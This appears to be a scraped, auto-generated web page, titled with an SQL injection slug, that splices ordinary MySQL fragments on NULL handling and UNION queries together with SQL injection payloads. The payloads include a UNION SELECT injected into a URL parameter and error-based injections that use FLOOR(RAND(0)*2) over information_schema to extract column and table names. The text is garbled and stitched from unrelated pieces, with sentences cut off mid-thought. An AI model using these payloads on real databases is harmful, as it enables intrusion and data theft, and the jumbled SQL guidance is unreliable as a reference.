gulmeli-ehvalat-and-select-1-from-select-count-concat-select...
select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
If that is correct: SELECT count(*) FROM us WHERE a IS NULL UNION ALL SELECT count(*) FROM us WHERE a IS NOT NULL.
...function=members&perform=memberappita&entity_id=11+limit+0+UNION+SELECT+1,2,concat_ws(0x3a
...count(*), concat(( select( select unhex(hex( concat(?!~!?, ?ABC145ZQ62DWQAFPOIYCFD, ? ... )) from information_schema tables lImit 0,1),floor
1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM database2.table1--. Error Based.
mysql> SELECT NULL, 1+NULL, CONCAT('Invisible',NULL); To search for column values that are NULL, you cannot use an expr = NULL test. The following statement returns no rows, because expr = NULL is never true for any expression: Press CTRL+C to copy. mysql> SELECT * FROM my_table...
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))).
SELECT column_names FROM table_name WHERE column_name IS NOT NULL; Demo Database.